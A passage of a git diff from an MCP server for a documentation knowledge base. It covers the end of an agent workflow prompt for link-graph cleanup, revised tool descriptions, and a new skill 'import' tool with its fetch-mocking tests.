- // cascade into child docs. Use \`write({ folder })\` for a new folder,
- // \`edit({ folder })\` to add keys to an existing one (merge-patch).
- edit({
- folder: {
- path: '<folder>',
- frontmatter: {
- title: '<inferred>', // e.g., "Specifications"
- description: '<inferred>', // 1-2 sentences describing the folder's purpose
- tags: ['<inferred>'], // e.g., ['spec']
- },
- },
- })
-
- // Template → writes <folder>/.ok/templates/<name>.md. This is where
- // recurring per-doc starting values live (status, owner, …) — bake them
- // into the template body's frontmatter region so new docs start with them.
- write({
- template: {
- path: '<folder>/<inferred-name>', // e.g., 'specs/SPEC', 'reports/REPORT'
- frontmatter: { title: '<placeholder>', description: '<placeholder>' },
- content: '<heading skeleton from siblings; include a frontmatter region with recurring per-doc keys (status, owner, …) as starting values>',
- },
- })
- \`\`\`
-
-6. **⛔ STOP gate 4 — Surface proposal to user.** Show: heading set + frontmatter shape + filename pattern + link patterns. Ask: "Apply this proposal? (yes / edit / skip this folder)"
-
-7. **Apply confirmed proposals** via the \`edit({ folder })\` + \`write({ template })\` calls above. Re-run \`exec("ls <folder>")\` to confirm \`templates_available\` + the folder's descriptive \`title\`/\`description\`/\`tags\` are populated.
-
-Repeat for every \`[KB]\` folder.
-
-**v1 scope note:** \`discover\` does NOT attempt nested-pattern detection (e.g., applying the same folder frontmatter across \`specs/*/evidence/\` for every spec's evidence/ subfolder). Each folder is addressed by its own path — one \`edit({ folder })\` call per folder. Users who want nested folder frontmatter set it up manually after \`discover\` finishes the top-level work.
-
----
-
-## Phase 5 — Link-graph activation
-
-The largest phase. Uses the \`links\` tool (every link-graph view) plus \`search\` and \`edit\` to apply confirmed link insertions.
-
-0. **Server check (required for this phase).** \`links\` and \`search\` need the OK Hocuspocus server. Probe via \`links({ kind: "hubs" })\`. If the response starts with \`"Error: Hocuspocus server is not running"\`, STOP — tell the user "the link-graph phase of discover needs the OK server. Start it with \`ok start\` from a terminal, then re-invoke \`discover\` (Phases 1-4 are already applied; it resumes here)." Exit cleanly.
-
-Six sub-passes, each with its own STOP gate.
-
-### 5a. Orphan triage (⛔ STOP gate 5a)
-
-1. Run \`links({ kind: "orphans" })\`.
-2. For each orphan, run \`links({ kind: "suggest", docName: <orphan> })\`:
- - If \`mentions[]\` is non-empty → there are docs that mention this orphan without linking. Adoption candidates.
- - If \`mentions[]\` is empty → the orphan is **genuinely standalone** (no other doc references it at all). Surface as: "this looks intentionally standalone (e.g., a README). Skip / adopt anyway by linking from a hub / add to \`.okignore\`?"
-3. Confirm per orphan. For each "link" choice, \`edit({ document: { path, find, replace } })\` on the source doc — find the existing mention text \`links({ kind: "suggest" })\` surfaced and replace it wrapped in link syntax.
-
-**Note on re-surfacing:** v1 does NOT persist "intentional standalone" markers. Each \`discover\` re-run surfaces the same intentional orphans (root \`README.md\`, \`CONTRIBUTING.md\`, etc.) and the user re-dismisses them. Acceptable minor friction.
-
-### 5b. Hub identification (⛔ STOP gate 5b)
-
-1. Run \`links({ kind: "hubs" })\` — surfaces the most-linked-to docs (highest *inbound* links), i.e. pages already acting as hubs.
-2. For each substantial \`[KB]\` folder (those that got templates in Phase 4):
- - Check if a hub already exists (\`<folder>/README.md\`, \`<folder>/INDEX.md\`, \`<folder>/CATALOGUE.md\`).
- - If yes: don't create a new one (anti-pattern: don't create INDEX.md hubs).
- - If no: ensure the template extracted in Phase 4 includes a \`## Related\` / \`## See also\` section. If the template doesn't already have one, propose adding it.
-3. Surface existing hubs to the user so they know what the link graph already provides.
-
-### 5c. Dead-link sweep (⛔ STOP gate 5c)
-
-1. Run \`links({ kind: "dead" })\` (no \`sourceDocNames\` → audits the whole corpus).
-2. For each dead link, propose: fix candidate (via \`search\` for the correct target), or delete (remove the link, or the prose around it). Leaving it as an "intentional redlink" is not an option — every dead link is fixed or removed.
-3. Confirm per dead-link. Apply confirmed fixes via \`edit\`.
-
-### 5d. Untextualized-reference detection (⛔ STOP gate 5d)
-
-\`links({ kind: "suggest" })\` implements server-side detection of prose mentions of a target doc that aren't wrapped in link syntax. v1 leverages it directly.
-
-1. For each substantial \`[KB]\` doc, run \`links({ kind: "suggest", docName: <target> })\`.
-2. Each call returns \`mentions[]\` with \`{ source, excerpt, offset }\` — places to insert links pointing TO this target from OTHER docs.
-3. Surface batched **by source doc** (not per-link, to keep cognitive load reasonable):
-
- \`\`\`
- In specs/2026-04-23-foo/SPEC.md, found 3 untextualized references:
- line 12: "the existing \`ok init\` scaffolds..." → matches code, NOT a doc — skip
- line 145: "...replaces the instructional init-content MCP tool" → matches a spec — accept as link
- line 203: "...per AGENTS.md ecosystem convention" → matches root AGENTS.md — accept as link
- \`\`\`
-
-4. Confirm per source doc (batched). Apply confirmed link insertions via \`edit({ document: { path, find, replace } })\` — find the mention text the \`suggest\` view surfaced and replace it wrapped in link syntax.
-
-**Truncation handling:** if the \`suggest\` view returns \`truncated: true\`, the scan hit its time budget. Iterate with smaller scope or accept partial coverage and tell the user.
-
-### 5e. Vague-referential detection (⛔ STOP gate 5e)
-
-Harder case: prose discusses a concept covered by another doc without naming it. Example: a spec talks about "how we track who wrote what" and there's an \`agent-identity-attribution-worldmodel/REPORT.md\` covering exactly that — but the spec never says "agent identity attribution." \`links({ kind: "suggest" })\` (title/alias match) misses this; semantic detection requires LLM judgment.
-
-1. For each substantial doc, identify its main concepts. Use frontmatter \`subjects:\` / \`topics:\` if present; else extract from heading text + first 2-3 paragraphs (LLM judgment).
-2. For each concept, run \`search({ query: <concept> })\`. Take top 1-2 non-self results.
-3. For each candidate sibling:
- - Verify it is NOT already linked from this doc (\`links({ kind: "forward", docName: <doc> })\`).
- - Verify content is actually relevant (re-read summary; LLM judgment).
-4. Surface to user with brief justification per pair. Confirm. Apply via \`edit\` (insert link in a "Related" or "References" section).
-
-**Caveat:** vague-referential is LLM-judgment-heavy. False positives are expected; the user is the final arbiter. If the user rejects > 50% of proposals in a batch, recalibrate (tighten concept-extraction, raise relevance bar).
-
-### 5f. Link-style detection + standardization (⛔ STOP gate 5f)
-
-1. Sample 10 random non-noise docs (or all if total < 10). Count occurrences:
- - Wiki-link syntax: \`[[Page Title]]\` (legacy)
- - Relative-markdown: \`[text](./path.md)\` or \`[text](path.md)\` (current OK recommended)
-2. Report ratio to user. If mixed, propose a one-time standardization: convert all \`[[Page]]\` to \`[Page](./path.md)\`. Ambiguous \`[[Page]]\` (multiple matching files) → surface for confirmation.
-3. Apply via \`edit\` on each affected doc, resolving page titles to file paths via \`exec("ls")\` / \`search\`.
-
----
-
-## Phase 6 — Apply + validate
-
-After all confirmed proposals are applied:
-
-1. Re-run \`exec("ls <folder>")\` on every \`[KB]\` folder. Verify:
- - the folder's descriptive \`title\`/\`description\`/\`tags\` are populated (folder frontmatter landed)
- - \`templates_available\` includes the new template (template landed)
-2. Re-run the orphan + dead-link audit in one call — \`links({ kind: ["orphans", "dead"] })\`. Confirm orphan count dropped vs. Phase 5a baseline and fixed dead links no longer report.
-
-If any validation step fails, surface to the user — do NOT silently pass.
-
----
-
-## Phase 7 — Final summary + exit
-
-Print a structured summary the agent shares with the user. Distinguish initial-setup mode from extension mode (per Phase 1 step 6):
-
-**Initial-setup mode:**
-
-\`\`\`
-Discover complete:
-
-Folder frontmatter added (<folder>/.ok/frontmatter.yml):
- specs/ title: Specifications, tags: [spec]
- reports/ title: Research Reports, tags: [report]
- stories/ title: User Stories, tags: [story]
- projects/ title: Projects, tags: [project]
-
-Templates added (<folder>/.ok/templates/<name>.md):
- specs/.ok/templates/SPEC.md (heading skeleton from 3 siblings, link-aware)
- reports/.ok/templates/REPORT.md (heading skeleton from 3 siblings, link-aware)
-
-.okignore additions: 4 entries (node_modules, dist, CHANGELOG.md, THIRD_PARTY_NOTICES.md)
-
-Link-graph activation:
- Orphan triage: 7 orphans triaged (4 adopted, 3 left as intentional standalones)
- Hub identification: 3 existing hubs surfaced; 2 templates updated with \`## Related\` sections
- Dead-link sweep: 5 dead links — 4 fixed, 1 removed
- Untextualized refs: 12 prose mentions linked (across 8 source docs)
- Vague-referential: 5 semantic cross-references added (across 4 source docs)
- Link-style: standardized 42 wiki-links to relative-markdown
-
-Notes:
- - 3 intentional standalones (README, CONTRIBUTING, LICENSE) re-surface on each discover run.
- v1 does not persist a "standalone" marker; you'll re-dismiss them next time.
-
-Next steps:
- - Review the extracted templates in <folder>/.ok/templates/ — they're starter shapes, not finished.
- - The next agent in this repo will see templates_available + the folder's own frontmatter for every KB folder.
- - Re-run discover after significant content additions (new folder categories, major restructures).
-\`\`\`
-
-**Extension mode** (when prior configuration was detected):
-
-\`\`\`
-Discover extension complete (existing configuration preserved):
-
-New folder frontmatter:
- tech-probes/ (was missing — title: Tech Probes, tags: [probe])
-
-Updated templates:
- specs/.ok/templates/SPEC.md (heading skeleton refreshed from current siblings)
-
-Link-graph activation:
- Orphan triage: 3 new orphans found (all triaged)
- Untextualized refs: 8 new references linked
-\`\`\`
-
----
-
-## STOP rules / anti-patterns (load-bearing across phases)
-
-- **Don't restructure existing folders** — no renaming, moving, consolidating, splitting. The folder shape as-found is the contract.
-- **Don't impose Karpathy three-layer** — only propose \`external-sources/\` / \`research/\` / \`articles/\` if the user explicitly opts in. Most brownfield repos won't.
-- **Don't create INDEX.md / README.md hub files** — folder frontmatter + \`exec("ls")\` give the same view live.
-- **Don't extract templates from a single sibling** — need ≥ 2 with matching heading set (heading-text equality, in order).
-- **Don't bulk-rewrite doc bodies** — every link insertion (5a, 5c, 5d, 5e, 5f) goes through user confirmation via STOP gates.
-- **Don't auto-apply** — every phase has a confirmation gate. The tool proposes; the user disposes.
-- **Don't run if the project has < 5 \`.md\` files** — exit early; redirect to \`ok seed\`.
-- **Don't run if the project is already fully configured** — exit early with "already configured."
-- **Don't redundantly propose what \`.gitignore\` covers** in \`.okignore\`.
-- **Don't attempt nested-pattern detection** in v1 — each substantial top-level folder gets its own folder frontmatter; nested sub-patterns (\`specs/*/evidence/\`) are left for users to set up manually.
-
----
-
-## Exit conditions (early termination)
-
-- **Empty project** (Phase 1): < 5 \`.md\` files total → exit with "try \`ok seed\` instead."
-- **All-greenfield-already** (Phase 1 step 6): folder frontmatter exists AND templates exist for every substantial folder → exit with "this project is already configured."
-- **Server down** (Phase 5 step 0): Phases 1-4 already applied fs-direct; surface "the link-graph phase needs \`ok start\` running" and exit cleanly — re-invoking resumes at Phase 5.
-- **User aborts at any STOP gate** → exit cleanly, leaving any already-applied proposals in place (apply is per-phase, not all-or-nothing).
-- **Validation failure** (Phase 6) → don't pretend to succeed; surface the failed step to the user.
-`;
-}
diff --git a/packages/server/src/mcp/tools/edit.ts b/packages/server/src/mcp/tools/edit.ts
index 6c4e30e94..55baa1e57 100644
--- a/packages/server/src/mcp/tools/edit.ts
+++ b/packages/server/src/mcp/tools/edit.ts
@@ -13,7 +13,7 @@
import { existsSync, readFileSync } from 'node:fs';
import {
type FrontmatterPatch,
- renderInventoryFooter,
+ renderInventoryList,
stripFrontmatter,
unwrapFrontmatterFences,
} from '@inkeep/open-knowledge-core';
@@ -78,13 +78,17 @@ const BASE_DESCRIPTION = [
'- `document` — Edit a doc [Requires: Hocuspocus server]. Body: `{ path, find, replace, occurrence? }` (occurrence = which match, 1 = first). Metadata: `{ path, frontmatter }` (merge-patch; `null` deletes a key). Body find/replace is body-only; frontmatter-intersecting finds are rejected.',
'- `folder` — Edit a folder (folders have no body): `{ path, frontmatter }` (merge-patch).',
'- `template` — Edit a template: `{ path: "<folder>/<name>", ... }`; body `find`/`replace`/`occurrence?` or metadata `frontmatter`.',
- "- `skill` — Edit a SKILL: `{ name, ... }`; body `find`/`replace`/`occurrence?` OR a `description` change (a skill's only metadata leaf). Run `install` afterward to update your editors.",
+ "- `skill` — Edit a SKILL: `{ name, ... }`; body `find`/`replace`/`occurrence?` OR a `description` change (a skill's only metadata leaf). Every recorded copy re-syncs from the source, so there is nothing to re-install.",
'- `summary` — Optional one-line user-outcome (≤80 chars) recorded in the timeline for any `document`, `folder`, `template`, or `skill` edit. Avoid secrets or PII — persisted to git history.',
'',
'Responses may include `structuredContent.document.warnings` — advisory entries discriminated by `kind`: `content-divergence` / `disk-edit-reconciled` (write-integrity — re-read the doc with `exec("cat <path>")`) and `mermaid-parse-error` (the edit landed but that fence will not render — fix it and re-edit).',
].join('\n');
-const DESCRIPTION = `${BASE_DESCRIPTION}\n${renderInventoryFooter()}`;
+// Discovery list only. An agent that never sees the component ids never asks
+// `palette` for their schemas, so the inventory stays. The authoring reference
+// (fence syntax, sizing + theme tokens) rides `write` alone — it is always-on
+// context whose on-demand home is `palette`.
+const DESCRIPTION = `${BASE_DESCRIPTION}\n${renderInventoryList()}`;
interface EditDeps {
serverUrl: ServerUrlOrResolver;
diff --git a/packages/server/src/mcp/tools/get-preview-url.ts b/packages/server/src/mcp/tools/get-preview-url.ts
index 65b6d7fb7..813105491 100644
--- a/packages/server/src/mcp/tools/get-preview-url.ts
+++ b/packages/server/src/mcp/tools/get-preview-url.ts
@@ -150,7 +150,7 @@ const InputSchema = {
.string()
.min(1)
.regex(SKILL_NAME_REGEX, 'Skill name must be lowercase letters, digits, and hyphens only.')
- .describe('Skill name (the `.ok/skills/<name>` identity).'),
+ .describe('Skill name (the bundle-dir identity, wherever the skill lives).'),
scope: z
.enum(MANAGED_ARTIFACT_SCOPES)
.optional()
diff --git a/packages/server/src/mcp/tools/history.ts b/packages/server/src/mcp/tools/history.ts
index ca9e56418..e233342d8 100644
--- a/packages/server/src/mcp/tools/history.ts
+++ b/packages/server/src/mcp/tools/history.ts
@@ -5,13 +5,13 @@
* Returns timeline entries from the shadow repo with commit SHAs
* that can be passed to `restore_version({ document, version })`.
*/
-import { projectSkillContentDocName } from '@inkeep/open-knowledge-core';
import { z } from 'zod';
import { resolvePreviewUrlForTool } from './preview-url.ts';
import type { ConfigOrResolver, ServerInstance, ServerUrlOrResolver } from './shared.ts';
import {
HOCUSPOCUS_NOT_RUNNING_ERROR,
httpGet,
+ httpGetRows,
looseObjectArray,
normalizeDocName,
outputSchemaWithText,
@@ -60,7 +60,7 @@ const DESCRIPTION = [
'**Parameters (pass EXACTLY ONE of `document` / `folder` / `skill`):**',
'- `document` — Document name to query history for, typically without extension. A trailing `.md` or `.mdx` is stripped automatically.',
'- `folder` — Folder path for the FOLDER timeline: attributed activity over the folder\'s `.ok/` artifacts (templates + frontmatter) — who created / edited / renamed / moved / deleted them, when. `""` = project root.',
- "- `skill` — Skill NAME to query version history for (the attributed `.ok/skills/<name>/` versions). PROJECT-scope skills only — global skills are unversioned. Pass an entry's `version` to `restore_version({ skill, version })`.",
+ "- `skill` — Skill NAME to query version history for (the skill folder's attributed versions). PROJECT-scope skills only — global skills are unversioned. Pass an entry's `version` to `restore_version({ skill, version })`.",
'- `branch` (optional) — Branch name (default: current branch)',
'- `limit` (optional) — Maximum entries to return (default 50, max 200)',
'- `offset` (optional) — Number of entries to skip for pagination (default 0)',
@@ -95,7 +95,7 @@ export function register(server: ServerInstance, deps: GetHistoryDeps): void {
.string()
.optional()
.describe(
- 'Skill name to query version history for (`.ok/skills/<name>/`). Mutually exclusive with `document` / `folder`.',
+ 'Skill name to query version history for. Mutually exclusive with `document` / `folder`.',
),
branch: z.string().optional().describe('Branch name (default: current branch)'),
limit: z
@@ -175,12 +175,28 @@ export function register(server: ServerInstance, deps: GetHistoryDeps): void {
if (isFolder) {
params.set('folder', args.folder ?? '');
} else if (args.skill !== undefined) {
- // Project skills are content docs (`.ok/skills/<name>/SKILL`), so a skill
- // shares the document-history path — `getDocumentHistory`'s correct,
- // multi-writer-filtered timeline. (The old `/api/skill/history` route was
- // a buggy duplicate: it ran a naive `git log` over whole-tree snapshot
- // refs and surfaced commits that touched OTHER skills.)
- const docName = projectSkillContentDocName(args.skill);
+ // A project skill is a content doc, so it shares the document-history
+ // path — `getDocumentHistory`'s multi-writer-filtered timeline. (The old
+ // `/api/skill/history` route was a buggy duplicate: a naive `git log`
+ // over whole-tree snapshot refs, surfacing commits that touched OTHER
+ // skills.)
+ //
+ // The doc name is the skill's REAL dir + `/SKILL`. Deriving it from the
+ // name assumed the retired `.ok/skills` store, and `/api/history` takes
+ // `docName` literally — so an in-place skill's timeline came back empty
+ // and the preview pointed at a doc that does not exist.
+ const listed = await httpGetRows(url, '/api/skills', 'skills');
+ if ('error' in listed) return textResult(`Error: ${listed.error}`, true);
+ const entry = listed.rows.find(
+ (r) => r.name === args.skill && r.scope === 'project' && typeof r.path === 'string',
+ );
+ if (!entry) {
+ return textResult(
+ `Error: No project skill named "${args.skill}". Global skills are unversioned.`,
+ true,
+ );
+ }
+ const docName = String(entry.path).replace(/\/SKILL\.mdx?$/i, '/SKILL');
params.set('docName', docName);
previewDocName = docName;
} else {
diff --git a/packages/server/src/mcp/tools/import.test.ts b/packages/server/src/mcp/tools/import.test.ts
new file mode 100644
index 000000000..75c955f83
--- /dev/null
+++ b/packages/server/src/mcp/tools/import.test.ts
@@ -0,0 +1,197 @@
+/**
+ * Server-independent tests for the `import` MCP wrapper. The acquisition
+ * machinery is tested in core; these tests pin the MCP contract that agents use:
+ * forward marketplace rows / skills.sh URLs unchanged to `/api/skill/import`,
+ * then surface the server's import result.
+ */
+import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';
+import { type Config, ConfigSchema } from '../../config/schema.ts';
+import { register as registerImport } from './import.ts';
+import type { ServerInstance } from './shared.ts';
+
+const BASE_CONFIG: Config = ConfigSchema.parse({});
+
+interface ToolResult {
+ content: Array<{ type: 'text'; text: string }>;
+ structuredContent?: Record<string, unknown>;
+ isError?: true;
+}
+type Handler = (args: Record<string, unknown>) => Promise<ToolResult>;
+
+function captureImport(serverUrl: string | undefined): Handler {
+ let handler: Handler | undefined;
+ const server = {
+ registerTool(_name: string, _cfg: unknown, h: Handler) {
+ handler = h;
+ },
+ } as unknown as ServerInstance;
+ registerImport(server, {
+ serverUrl,
+ config: BASE_CONFIG,
+ resolveCwd: async () => process.cwd(),
+ });
+ if (!handler) throw new Error('tool did not register');
+ return handler;
+}
+
+const text = (r: ToolResult) => r.content.map((c) => c.text).join('\n');
+
+let originalFetch: typeof fetch;
+
+beforeEach(() => {
+ originalFetch = globalThis.fetch;
+});
+
+afterEach(() => {
+ globalThis.fetch = originalFetch;
+});
+
+describe('import MCP tool', () => {
+ test('forwards marketplace row source + skill to /api/skill/import unchanged', async () => {
+ const calls: Array<{ url: string; body: unknown }> = [];
+ globalThis.fetch = vi.fn(async (url: string | URL | Request, init?: RequestInit) => {
+ calls.push({ url: String(url), body: JSON.parse(String(init?.body)) });
+ return new Response(
+ JSON.stringify({
+ ok: true,
+ name: 'review-bot',
+ path: 'review-bot/SKILL.md',
+ alreadyImported: false,
+ warnings: [],
+ }),
+ { status: 200, headers: { 'content-type': 'application/json' } },
+ );
+ }) as unknown as typeof fetch;
+
+ const handler = captureImport('http://localhost:4321');
+ const r = await handler({
+ source: 'acme/skills',
+ skill: 'review-bot',
+ scope: 'project',
+ summary: 'Import review bot',
+ add: ['claude'],
+ });
+
+ expect(r.isError).toBeUndefined();
+ // Acquire, then place through the install path — the caller names WHERE,
+ // so an import can never leave the skill somewhere nobody asked for.
+ expect(calls).toEqual([
+ {
+ url: 'http://localhost:4321/api/skill/import',
+ body: {
+ source: 'acme/skills',
+ skill: 'review-bot',
+ scope: 'project',
+ summary: 'Import review bot',
+ install: false,
+ },
+ },
+ {
+ url: 'http://localhost:4321/api/skill/install',
+ body: {
+ scope: 'project',
+ name: 'review-bot',
+ add: ['claude'],
+ summary: 'Import review bot',
+ },
+ },
+ ]);
+ expect(text(r)).toContain('Imported "review-bot"');
+ expect(text(r)).toContain('Use `install`');
+ expect(r.structuredContent?.name).toBe('review-bot');
+ expect(r.structuredContent?.path).toBe('review-bot/SKILL.md');
+ expect(r.structuredContent?.alreadyImported).toBe(false);
+ });
+
+ test('forwards explicit skills.sh URLs unchanged for server-side resolution', async () => {
+ const calls: Array<{ url: string; body: unknown }> = [];
+ globalThis.fetch = vi.fn(async (url: string | URL | Request, init?: RequestInit) => {
+ calls.push({ url: String(url), body: JSON.parse(String(init?.body)) });
+ return new Response(
+ JSON.stringify({
+ ok: true,
+ name: 'review-bot',
+ path: 'review-bot/SKILL.md',
+ alreadyImported: true,
+ warnings: [],
+ }),
+ { status: 200, headers: { 'content-type': 'application/json' } },
+ );
+ }) as unknown as typeof fetch;
+
+ const handler = captureImport('http://localhost:4321');
+ const r = await handler({
+ source: 'https://www.skills.sh/acme/skills/review-bot',
+ add: ['agents'],
+ });
+
+ expect(r.isError).toBeUndefined();
+ expect(calls).toEqual([
+ {
+ url: 'http://localhost:4321/api/skill/import',
+ body: { source: 'https://www.skills.sh/acme/skills/review-bot', install: false },
+ },
+ {
+ url: 'http://localhost:4321/api/skill/install',
+ body: { name: 'review-bot', add: ['agents'] },
+ },
+ ]);
+ expect(text(r)).toContain('already imported');
+ expect(r.structuredContent?.alreadyImported).toBe(true);
+ });
+
+ test('a partially-refused placement surfaces its warnings, not just the acquire half', async () => {
+ // A bulk `add` reports per-location failures on a 200, so the placement's
+ // warnings are the ONLY signal that a location was skipped. Reading just the
+ // acquire response calls this a clean import.
+ globalThis.fetch = vi.fn(async (url: string | URL | Request) =>
+ String(url).endsWith('/api/skill/import')
+ ? new Response(
+ JSON.stringify({ ok: true, name: 'review-bot', warnings: ['skipped an odd file'] }),
+ { status: 200, headers: { 'content-type': 'application/json' } },
+ )
+ : new Response(
+ JSON.stringify({
+ ok: true,
+ warnings: ['The copy at .cursor/skills/review-bot has been hand-edited — refused.'],
+ warningCodes: ['place-fork-refused'],
+ }),
+ { status: 200, headers: { 'content-type': 'application/json' } },
+ ),
+ ) as unknown as typeof fetch;
+
+ const handler = captureImport('http://localhost:4321');
+ const r = await handler({ source: 'acme/skills', add: ['agents', 'cursor'] });
+
+ expect(r.isError).toBeUndefined();
+ expect(text(r)).toContain('hand-edited');
+ expect(r.structuredContent?.warnings).toEqual([
+ 'skipped an odd file',
+ 'The copy at .cursor/skills/review-bot has been hand-edited — refused.',
+ ]);
+ expect(r.structuredContent?.warningCodes).toEqual(['place-fork-refused']);
+ });
+
+ test('a failed placement is reported, not swallowed as a clean import', async () => {
+ // The acquire already happened, so the skill exists at its source folder.
+ // Reporting success here would tell the caller it landed where they asked.
+ globalThis.fetch = vi.fn(async (url: string | URL | Request) => {
+ const ok = String(url).endsWith('/api/skill/import');
+ return new Response(
+ JSON.stringify(
+ ok
+ ? { ok: true, name: 'review-bot', path: 'review-bot/SKILL.md', warnings: [] }
+ : { title: 'That location has no skills folder.' },
+ ),
+ { status: ok ? 200 : 400, headers: { 'content-type': 'application/json' } },
+ );
+ }) as unknown as typeof fetch;
+
+ const handler = captureImport('http://localhost:4321');
+ const r = await handler({ source: 'acme/skills', add: ['claude'] });
+
+ expect(r.isError).toBe(true);
+ expect(text(r)).toContain('Imported "review-bot"');
+ expect(text(r)).toContain('placing it failed');
+ });
+});
diff --git a/packages/server/src/mcp/tools/import.ts b/packages/server/src/mcp/tools/import.ts
new file mode 100644
index 000000000..e253e8592
--- /dev/null
+++ b/packages/server/src/mcp/tools/import.ts
@@ -0,0 +1,198 @@
+/**
+ * `import` MCP tool — acquire a skill from outside this project into
+ * `.agents/skills/<name>/` as versioned IN-PLACE content (write-path inversion).
+ *
+ * Routes to `POST /api/skill/import` (server), which fetches the skill-dir
+ * (skills.sh URL, github `owner/repo[/subpath]`, a git URL, or a local path),
+ * writes it via the same sanctioned content writers an authored skill uses,
+ * records upstream provenance in `.ok/skills-lock.json`, then places it at the
+ * locations `add` names. `install` afterwards changes WHERE it lives. Scripts are imported as
+ * content, NEVER run.
+ */
+import {
+ SKILL_INSTALL_WARNING_CODES,
+ type SkillLocationId,
+ SkillLocationIdSchema,
+ type SkillScope,
+} from '@inkeep/open-knowledge-core';
+import { z } from 'zod';
+import type { AgentIdentity } from '../agent-identity.ts';
+import type { ConfigOrResolver, ServerInstance, ServerUrlOrResolver } from './shared.ts';
+import {
+ agentIdentityFields,
+ httpPost,
+ outputSchemaWithText,
+ ROUTED_CWD_DESCRIPTION,
+ requireProjectServer,
+ summaryArgSchema,
+ textPlusStructured,
+ textResult,
+} from './shared.ts';
+import { SkillScopeArg } from './verb-schemas.ts';
+
+const DESCRIPTION = [
+ '[Requires: Hocuspocus server] Import a skill into this project as versioned content.',
+ '',
+ 'Fetches an agentskills.io / skills.sh skill-dir from a `source` and writes it into the vendor-neutral `.agents/skills/<name>/` hub — where it gains history, search, attribution, and cross-harness projection (via `install`) for free. Provenance (source, commit, content hash, publisher) is recorded in `.ok/skills-lock.json`. Scripts are imported as content and are NEVER executed. `add` says where it goes — an import always places the skill somewhere, so `install` afterwards is only for changing WHERE it lives (add/remove/convert/source).',
+ '',
+ '**Parameters:**',
+ '- `source` — paste the full skills.sh skill-page URL (`https://www.skills.sh/<publisher>/skills/<skill>`), or pass `owner/repo[/subpath]` (GitHub), a git URL, or a local / `file://` path.',
+ '- `skill` — Pick ONE skill when the source bundles several.',
+ '- `scope` — `project` (default, versioned + shared) or `global` (user-global, unversioned).',
+ '',
+ 'On a name collision with an existing skill the import lands under `<name>-imported` (never overwrites). An identical re-import (same content hash) is a no-op.',
+].join('\n');
+
+interface ImportDeps {
+ serverUrl: ServerUrlOrResolver;
+ config: ConfigOrResolver;
+ resolveCwd: (explicit?: string) => Promise<string>;
+ identityRef?: { current: AgentIdentity };
+}
+
+export function register(server: ServerInstance, deps: ImportDeps): void {
+ server.registerTool(
+ 'import',
+ {
+ description: DESCRIPTION,
+ inputSchema: {
+ source: z
+ .string()
+ .min(1)
+ .describe(
+ 'Full skills.sh skill-page URL (`https://www.skills.sh/<publisher>/skills/<skill>`), `owner/repo[/subpath]`, a git URL, or a local / `file://` path.',
+ ),
+ skill: z.string().min(1).optional().describe('Pick one skill from a multi-skill source.'),
+ add: z
+ .array(SkillLocationIdSchema)
+ .min(1)
+ .describe(
+ 'REQUIRED — where the imported skill goes. Editor ids (`claude` … `pi`), `agents` (the vendor-neutral hub), or a custom root path (".team/skills"). Same vocabulary as `install`. A skill acquired and placed nowhere is not a state worth having, so this is not optional.',
+ ),
+ mode: z
+ .enum(['copy', 'link'])
+ .optional()
+ .describe(
+ 'The form for the locations in `add`. "link": a symlink to the source. "copy": an independent folder, auto-refreshed until hand-edited. Omit to follow the form the skill already uses.',
+ ),
+ scope: SkillScopeArg.optional(),
+ summary: summaryArgSchema,
+ cwd: z.string().optional().describe(ROUTED_CWD_DESCRIPTION),
+ },
+ outputSchema: outputSchemaWithText({
+ name: z
+ .string()
+ .optional()
+ .describe('Managed skill name created or matched by the import.'),
+ path: z
+ .string()
+ .optional()
+ .describe('Project-relative path of the imported skill bundle (under `.agents/skills`).'),
+ alreadyImported: z
+ .boolean()
+ .optional()
+ .describe('True when an identical content hash already existed and no files changed.'),
+ collisionRenamedFrom: z
+ .string()
+ .optional()
+ .describe(
+ 'Original upstream skill name when a local collision forced an `-imported` rename.',
+ ),
+ warnings: z
+ .array(z.string())
+ .optional()
+ .describe(
+ 'Non-fatal warnings from BOTH steps: the acquire (skipped unsupported bundle files) and the placement `add` runs.',
+ ),
+ warningCodes: z
+ .array(z.enum(SKILL_INSTALL_WARNING_CODES))
+ .optional()
+ .describe(
+ 'Machine-readable codes aligned 1:1 with `warnings` (`warnings[i]` is the display text for `warningCodes[i]`) — switch on these, never on the English. `no-targets`: nothing was projected, no editor is configured for this project. `scripts-present`: the skill ships executable `scripts/` (projected, never auto-run). `no-description`: installed, but its `description` is empty, so agents cannot route to it. `name-conflict`: a DIFFERENT skill already holds that name at a location. `place-path-invalid`: a named location is not a placeable root. `place-fork-refused`: a hand-edited copy was left alone rather than deleted. `skill-fork-name-unpatched`: a fork rename moved the folder but could not rewrite `name` in its SKILL.md.',
+ ),
+ }),
+ },
+ async (args: {
+ source: string;
+ skill?: string;
+ add: SkillLocationId[];
+ mode?: 'copy' | 'link';
+ scope?: SkillScope;
+ summary?: string;
+ cwd?: string;
+ }) => {
+ const context = await requireProjectServer(
+ deps.resolveCwd,
+ deps.config,
+ deps.serverUrl,
+ args.cwd,
+ );
+ if (!context.ok) return context.result;
+
+ const result = await httpPost(context.url, '/api/skill/import', {
+ source: args.source,
+ ...(args.skill !== undefined ? { skill: args.skill } : {}),
+ // Acquire only. The placement below runs through the install path so
+ // location math lives in exactly one place, and so an import can never
+ // leave a skill sitting somewhere the caller did not name.
+ install: false,
+ ...(args.scope !== undefined ? { scope: args.scope } : {}),
+ ...(args.summary !== undefined ? { summary: args.summary } : {}),
+ ...agentIdentityFields(deps.identityRef?.current),
+ });
+ if (!result.ok) {
+ // A multi-skill source names its candidates in `detail`; without it the
+ // agent is told to pick one and shown nothing to pick from.
+ const detail = typeof result.detail === 'string' ? ` (${result.detail})` : '';
+ return textResult(`Error: ${result.error}${detail}`, true);
+ }
+
+ const name = typeof result.name === 'string' ? result.name : args.source;
+ // Place through the install endpoint rather than reimplementing location
+ // math here. A failure leaves the skill acquired at its source folder —
+ // reported, not silently swallowed, so the caller knows to retry the
+ // placement rather than the fetch.
+ const placed = await httpPost(context.url, '/api/skill/install', {
+ ...(args.scope !== undefined ? { scope: args.scope } : {}),
+ name,
+ add: args.add,
+ ...(args.mode !== undefined ? { mode: args.mode } : {}),
+ ...(args.summary !== undefined ? { summary: args.summary } : {}),
+ ...agentIdentityFields(deps.identityRef?.current),
+ });
+ if (!placed.ok) {
+ return textResult(
+ `Imported "${name}", but placing it failed: ${placed.error}. Run \`install\` to retry the placement.`,
+ true,
+ );
+ }
+ const alreadyImported = result.alreadyImported === true;
+ const renamedFrom =
+ typeof result.collisionRenamedFrom === 'string' ? result.collisionRenamedFrom : undefined;
+ // Both halves warn, and the placement half is the one that reports
